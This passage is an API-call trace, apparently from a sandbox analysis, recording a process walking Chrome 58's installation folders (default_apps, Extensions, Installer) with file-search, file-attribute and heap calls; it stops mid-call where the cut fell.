[0087.793] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1308380 [0087.793] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.793] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeaa9811, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x5c74, dwReserved0=0x0, dwReserved1=0x0, cFileName="youtube.crx", cAlternateFileName="")) returned 1 [0087.793] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.793] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.793] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.794] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.794] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.794] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bc1c8 [0087.794] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1308488 [0087.794] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8300) returned 0x1322698 [0087.795] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ea380) returned 1 [0087.795] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.795] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeaa9811, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x5c74, dwReserved0=0x0, dwReserved1=0x0, cFileName="youtube.crx", cAlternateFileName="")) returned 0 [0087.795] GetLastError () returned 0x12 [0087.795] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f40 [0087.795] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0087.795] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d7b17e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.795] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfea6c768, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x11e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="docs.crx", cAlternateFileName="")) returned 1 [0087.795] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfea82701, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x63d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="drive.crx", cAlternateFileName="")) returned 1 [0087.796] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeab0d44, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="external_extensions.json", cAlternateFileName="")) returned 1 [0087.796] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfea9adab, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x5de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="gmail.crx", cAlternateFileName="")) returned 1 [0087.796] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeaa9811, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x5c74, dwReserved0=0x0, dwReserved1=0x0, cFileName="youtube.crx", cAlternateFileName="")) returned 1 [0087.796] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeaa9811, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x5c74, dwReserved0=0x0, dwReserved1=0x0, cFileName="youtube.crx", cAlternateFileName="")) returned 0 [0087.796] GetLastError () returned 0x12 [0087.796] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1307e58) returned 1 [0087.796] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0087.797] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1307f60) returned 1 [0087.797] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1307d50) returned 1 [0087.797] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7deaf880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7deaf880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7689b536, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x3358, dwReserved0=0x0, dwReserved1=0x0, cFileName="eventlog_provider.dll", cAlternateFileName="")) returned 1 [0087.797] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d7b17e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Extensions", cAlternateFileName="")) returned 1 [0087.797] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1307d50 [0087.797] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\extensions"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d7b17e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.798] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\extensions"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0087.799] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0087.799] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x132a9a0 [0087.799] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x132a9a0, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x132a9a0, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0087.799] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x132a9a0) returned 1 [0087.799] NtClose (Handle=0x15c) returned 0x0 [0087.799] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1307d50) returned 1 [0087.799] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.800] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.800] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1307d50 [0087.800] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.800] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1307f60 [0087.801] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f40 [0087.801] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d7b17e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.801] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeab3455, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x63, dwReserved0=0x0, dwReserved1=0x0, cFileName="external_extensions.json", cAlternateFileName="")) returned 1 [0087.801] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.801] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.802] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.802] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.802] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.802] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1307e58 [0087.803] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.803] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bc1e8 [0087.803] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1308590 [0087.803] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.803] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeab3455, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x63, dwReserved0=0x0, dwReserved1=0x0, cFileName="external_extensions.json", cAlternateFileName="")) returned 0 [0087.803] GetLastError () returned 0x12 [0087.803] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0087.803] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0087.803] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d7b17e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.803] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeab3455, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x63, dwReserved0=0x0, dwReserved1=0x0, cFileName="external_extensions.json", cAlternateFileName="")) returned 1 [0087.803] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeab3455, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x63, dwReserved0=0x0, dwReserved1=0x0, cFileName="external_extensions.json", cAlternateFileName="")) returned 0 [0087.803] GetLastError () returned 0x12 [0087.804] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1307f60) returned 1 [0087.804] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0087.804] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1307e58) returned 1 [0087.804] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1307d50) returned 1 [0087.804] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7d7940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7d7940, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfe9bf1b1, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x9a9480, dwReserved0=0x0, dwReserved1=0x0, cFileName="icudtl.dat", cAlternateFileName="")) returned 1 [0087.804] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Installer", cAlternateFileName="")) returned 1 [0087.804] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1307d50 [0087.805] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\installer"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.805] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\installer"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0087.805] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0087.805] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x132a9a0 [0087.805] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x132a9a0, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x132a9a0, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0087.806] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x132a9a0) returned 1 [0087.806] NtClose (Handle=0x164) returned 0x0 [0087.806] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1307d50) returned 1 [0087.806] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.806] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.806] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1307d50 [0087.807] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.807] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1307e58 [0087.807] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0087.807] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.807] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7aa51480, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1a3f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrmstp.exe", cAlternateFileName="")) returned 1 [0087.807] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.808] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.808] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.808] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.808] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.809] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.809] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8388e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7c8388e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81d5b9a8, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0xad7d02b, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.7z", cAlternateFileName="")) returned 1 [0087.809] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.809] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.809] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.810] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.810] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.810] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1307f60 [0087.810] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.810] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bc208 [0087.810] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1308698 [0087.811] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.811] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7aa51480, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1a3f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0087.811] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.811] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.811] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.812] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.812] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.812] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.812] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7aa51480, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1a3f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 0 [0087.812] GetLastError () returned 0x12 [0087.812] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f40 [0087.812] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0087.812] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.812] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7aa51480, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1a3f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrmstp.exe", cAlternateFileName="")) returned 1 [0087.812] FindNextFileW (in: hFindFile=0x2e8f40, 